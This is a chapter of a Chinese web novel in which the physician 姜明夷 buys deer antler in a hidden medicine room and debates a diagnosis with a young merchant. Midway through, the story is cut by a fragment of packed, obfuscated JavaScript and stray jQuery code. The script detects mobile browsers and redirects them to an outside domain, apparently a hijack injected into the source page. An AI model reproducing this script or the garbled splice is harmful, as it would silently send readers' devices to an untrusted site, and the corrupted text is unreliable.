二楼往三楼的楼梯窄了半尺,扶手换了紫檀木,空气里的药香也变得冷而锐。
拐过转角,楼梯口站了个靛蓝短褂的年轻护卫,腰间挂着一柄佩剑,剑鞘上的铜件擦得亮。他接过姜明夷手里的木牌翻了个面,又将木牌还回侧身让开。
“这边请。”
他引着她往走廊另一头走,走廊整体比二楼窄,两边的门全关着,不像二楼那样挂着名号。她在心里数了一下,一边四间,八扇门,没有一扇是敞着的。到了左侧倒数第二间时,护卫推开门,侧身让姜明夷进去。
一间干干净净的小室。方桌两椅,桌上白瓷茶壶,两只倒扣的茶碗。桌后墙上挂了一方旧木匾,刻着几味药材的名目,字迹被年月磨淡了,边缘被人手指蹭得发亮。
“您稍候,韩掌册一会儿过来。”护卫退出去,将门带上了。
太静了!
姜明夷在椅子上坐下,这地方静得能听见自己的呼吸。
隔了一阵,响起门开了又合上的声音,走廊上有两人脚步声响起,没往这边来,而是感觉往楼梯口去了,不一会儿脚步到了楼梯口,传来隐隐约约的交谈声,很轻,听不清楚,然后脚步声随着阶梯一级一级往下沉,逐渐听不见了。
又过了一阵,又是脚步声响起,这次是朝这边来了,不急不慢的。
门开了。
不是刚才那个年轻护卫,进来的是个五十来岁的瘦削男人,灰布长衫,袖口平整洁净。他朝姜明夷点了点头。
“请。”
他并没有往门外走,而是走到桌后那面墙前,手指搭上木匾旁边的一道木纹,那道木纹比周围的木料浅了一层,应该是经常触碰已经磨出了包浆,但不仔细看,还以为是木料本身的纹理。
他往里一按。
木壁从中间旋开了。先是极细的一道缝,里间的光漏出来,落在地面上像一根拉紧了的银线,名贵药材封在抽屉里经年不散的气息跟着涌出。
接着木壁越旋越开,光一寸一寸铺进去,药屉一排一排从暗处浮现。
竟是别有洞天!
原来这间房后面是珍药阁,那走廊上那七扇关着的门里也都是这样的格局?
里间不比外间大多少,四壁药屉从地面码到屋顶,没有窗却灯火通明,定睛一看,灯罩里竟都是夜明珠。
好大的手笔。
姜明夷按住心中讶异,从左手边第一格药屉看起。
每格抽屉上贴着红纸条,写着端端正正的蝇头小楷:鹿茸、麝香、牛黄、穿山甲片、羚羊角、熊胆……
她拉开鹿茸那格,里头铺了一层深蓝绒布,四副鹿茸并排搁着,根部的细麻绳系得紧实,切面平整,茸毛细密,颜色从深褐渐次过渡到顶端的浅棕。拿起一副凑近了看切面上封的那层蜡,严丝合缝,补都补不进去。
韩掌册立在一旁,等到她有疑问时适时回答,极有分寸。
鹿茸是关外老林子里的,麝香走西南。牛黄那格她拉开半寸,一股清苦直透上来,里头两块鸽卵大小,表面挂着一层金黄色的光泽。
她合上抽屉。穿山甲片那格也拉开看了一眼,甲片薄而匀,叠得齐整,每一片边缘都修过了,光而滑。
羚羊角那格她只拉开半寸便合上了,蜡黄半透明,角尖微弯,断面上有十来圈纹理绕着,密而匀。
东西确实都是好东西。
姜明夷转头问了韩掌册价格,只见韩掌册随手翻开一本绒布包裹着的簿子,翻到羚羊角那一页给她看了一眼,这簿子上竟是记录了近半年羚羊角的成交价,大概是三十到四十两不等。
“您若是想要这羚羊角,如今却是需一百两才行,近来出关回来的人少,羚羊角难得,故而这价格也上去了些。”
确实,近来关外有异动,出关猎取比之前还危险得多,羚羊角确实难寻。
临江楼不愧凌驾于满城药商之上,此等珍药比比皆是,果真名不虚传。
“这几味都是论钱卖的?”她指着那格牛黄。
“论钱。”
“穿山甲呢?”
“论片。”
姜明夷最后走回鹿茸那格前,重新拉开,指了指中间那副。
“辛苦韩掌册,我要这副。”
韩掌册合上价格簿子,另翻开一本记账的,提笔蘸墨,笔尖在砚沿上抿了两下才落下去。写完将簿子转过来让她核对,数量、品名、价钱,一字不差。
她从袖子里取出银票递过去,过了戥子,找了一小把铜钱。
他这才转身,从最下层的柜子里取出一只红木锦盒,再戴上皮手套取出鹿茸,稳稳当当地放到了盒子里头的绒布垫子上,最后合上盖子,双手盛给了姜明夷。
姜明夷接过锦盒后,韩掌册便引着她往外走去。送到楼梯口时,韩掌册止了步,姜明夷正要往下走,他将手伸了过来:“姜大夫,还请交还木牌。”
原来每次木牌都会收回,那下次还想来三楼呢?
她将手里那枚还带着体温的木牌递回去,一边递一边问:“韩掌册,若是下次还想上三楼,可是要再过一回二楼的考教?”
“过了关便给牌,下楼便收回。下回再来,仍是这个规矩。”
韩掌册微微颔首,将木牌收入袖中。
姜明夷点了点头,转身往楼下走。
下到二楼拐角时她又看了一眼那面墙,方才上来时墙上挂的木牌她都见过,这会儿又多了一枚新的,应是方才从三楼出去的那个人的。
一楼的声音从底下涌上来,过秤的吆喝,茶碗磕在方桌上的闷响,有人在拿指甲弹麻袋听声响辨干湿。
楼梯口不远处,一个着藏蓝长衫的男子正侧着头跟另一个人说话,领口别了枚铜纽扣。另一人背对着她,着一袭深青色暗纹长衫,身形瘦削,袖口平整地垂在腕上,没挂任何佩饰。
藏蓝长衫男子眼角扫到楼梯这边,脸上立时带了笑。
“姜大夫!刚从三楼下来?鄙姓陆,临江楼一楼的管事。”
另一人闻言也转过头来。
一张清隽出众的脸印入眼帘,竟是昨日在窄巷里替她解了围的人!
陆管事侧过身,一只手掌朝那年轻男人的方向展了展:“这位是永康堂的少东家,陆公子。陆公子,这位就是平和镇济世堂的姜大夫。”
陆景昭转过身,点了点头。
“姜大夫。”
她也点了点头:“陆公子。”
两人都默契没提窄巷的事儿。陆管事正要接话,陆景昭先开了口:“方才听陆管事说了陈老板的事。没想到这病症困扰了陈老板大半年,竟是虚实真假。姜大夫当真年少有为。”
“陆公子过誉了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17794574|210473||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>陆景昭摇了摇头道:“姜大夫不用过谦,虚实之辨看似容易,真到了脉枕前面,十个大夫有八个栽在‘以为是虚,其实是实’上头。”
他顿了一下,又道:“说起怪症,前些日子我倒是也遇过一桩,病人午后发热,烦躁不安,面色潮红经久不退。前头几个大夫一看便定了热证,但几副凉药下去,越清越差。姜大夫,可有高见?”
“可有脉象和舌象?”
“切脉沉细,舌质淡,苔白。”
“未曾亲见病人,不好断言。”她眼眸盯着陆公子,神色认真,“只是依陆公子方才所述,若脉与舌没有看错,前头几位大夫的方向,多半是反了。我斗胆推测热盛是表征,病根却在郁。病人是不是入了夜反倒安静了?”
“这倒是未曾问过。”
姜明夷嘴角浮起一点弧度:“那便问一问。若入了夜反倒安静,能吃能睡,陆公子心里便有数了。”
“若如姜大夫所言,那应开什么方子最为对症?”
姜明夷将目光从他脸上收回来,落在手里那只锦盒上,作谦虚之态:“未曾亲诊,不敢开方。若只是依陆公子所述来推,郁遏之证,首在通阳,应用四逆散打底,疏肝理脾,透热解郁。若郁得久了,阳气伤得重,可酌加附子,取麻黄附子细辛汤之意,通里兼发表。这便不是一张方子,是两张方子的事儿了。”
这少东家莫不是在考教她?
“姜大夫用药的路子,和寻常大夫不一样。”
陆管事正伸手去接伙计递过来的茶碗,手在半空中顿了一下,茶碗递到手里时碗里的茶水晃了晃,没有洒出来,又分别递给姜明夷和陆公子。
一楼大堂里忽然起了阵骚动,靠门口那排麻袋旁边,一个药农弯腰捡秤砣,起身时后脑勺撞翻了伙计手里的茶盘。碗盖从盘沿上翻下去,在石板上碎成两半。
靠得最近的那个伙计头一个抬起来,似是看了姜明夷他们这边,他旁边的那个慢了半拍,也迅速蹲下收拾碎碗。几息的工夫,大厅里又恢复了先前的样子。
当真训练有素,姜明夷对这临江楼幕后之人生起了探究之意。
陆公子朝发出声响的地方看了一眼,转头对姜明夷道:“我也准备上三楼寻药了,改日再向姜大夫请教。”
姜明夷正想着这场寒暄多久能结束,闻言跟他们告了辞,转过身从正门走了出去。
内河上的船篙还在点水,一下一下,远了又近,江风从河面上灌过来,吹到她的面上。
临江楼三楼有八扇门,不知每一扇门后的隔间里的珍药是否一样?看样子她还得再来几次。
身后突然有人叫了一声。
“姜大夫!”
她回过头,是三楼那个佩剑的护卫从楼里追了出来,手里拿着一枚木牌,他走到她面前,将木牌递给了姜明夷。
比顾大夫给的那枚略小,木纹更深,正面飞檐纹,背面刻了一道横杠。
“姜大夫,凭此牌每月可上三楼一回,无需再经二楼考教。”
姜明夷闻言将木牌接了过来,韩掌册方才在楼梯口亲手收走了她的木牌,看样子吩咐送这一枚来的应该不是他。
她把木牌收进袖子里,江风大了些,河面上碎了一片金光,内河上船篙还在点水,涟漪渐渐扩散开来。
这临江楼,真是越来越有意思了。